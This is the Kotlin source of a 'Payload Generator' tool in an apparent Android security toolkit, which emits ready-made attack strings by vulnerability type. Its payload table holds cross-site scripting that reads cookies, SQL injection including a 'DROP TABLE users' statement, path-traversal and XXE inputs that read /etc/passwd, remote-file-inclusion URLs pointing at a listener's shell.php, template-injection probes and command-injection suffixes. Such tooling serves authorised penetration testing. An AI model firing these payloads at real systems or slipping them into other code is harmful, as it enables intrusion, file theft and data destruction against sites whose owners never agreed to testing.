package com.optix.android.tools.utility

import com.optix.android.domain.model.OsintResult
import com.optix.android.domain.model.ParamType
import com.optix.android.domain.model.ToolCategory
import com.optix.android.domain.model.ToolEvent
import com.optix.android.domain.model.ToolMetadata
import com.optix.android.domain.model.ToolParam
import com.optix.android.tools.registry.BaseTool

class PayloadGeneratorTool : BaseTool() {

    override val metadata = ToolMetadata(
        name = "payload_generator",
        displayName = "Payload Generator",
        description = "Generate exploit payloads for common vulnerability types",
        category = ToolCategory.PAYLOADS_UTILITIES,
        requiresNetwork = false,
        parameters = listOf(
            ToolParam("type", ParamType.ENUM, "Payload type", defaultValue = "xss",
                enumValues = listOf("xss", "sqli", "lfi", "rfi", "xxe", "ssti", "cmd")),
            ToolParam("lhost", ParamType.STRING, "Listener IP (for reverse payloads)", required = false, defaultValue = ""),
            ToolParam("lport", ParamType.INT, "Listener port", required = false, defaultValue = "4444"),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val type = param(params, "type") ?: "xss"
        val lhost = param(params, "lhost") ?: ""
        val lport = paramInt(params, "lport", 4444)

        emit(ToolEvent.Log("Generating $type payloads"))

        val payloads = PAYLOADS[type] ?: listOf("No payloads defined for type: $type")
        payloads.forEach { payload ->
            val resolved = payload.replace("{lhost}", lhost).replace("{lport}", lport.toString())
            emit(ToolEvent.Result(OsintResult(type, resolved, "PayloadGenerator")))
            emit(ToolEvent.Log("  $resolved"))
        }

        emit(ToolEvent.ChainSuggestion("http_inspector", mapOf("url" to "http://127.0.0.1")))
        emit(ToolEvent.Done)
    }

    companion object {
        val PAYLOADS = mapOf(
            "xss"  to listOf("<script>alert(document.cookie)</script>", "<img src=x onerror=alert(1)>", "<svg/onload=alert(1)>"),
            "sqli" to listOf("' OR 1=1--", "' UNION SELECT null,null,null--", "'; DROP TABLE users--", "' AND SLEEP(5)--"),
            "lfi"  to listOf("../../../etc/passwd", "..%2F..%2F..%2Fetc%2Fpasswd", "....//....//etc/passwd"),
            "rfi"  to listOf("http://{lhost}:{lport}/shell.php", "https://{lhost}/malicious.php"),
            "xxe"  to listOf("<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>"),
            "ssti" to listOf("{{7*7}}", "\${7*7}", "<%= 7*7 %>", "#{7*7}"),
            "cmd"  to listOf("; id", "| id", "&& id", "`id`", "\$(id)"),
        )
    }
}
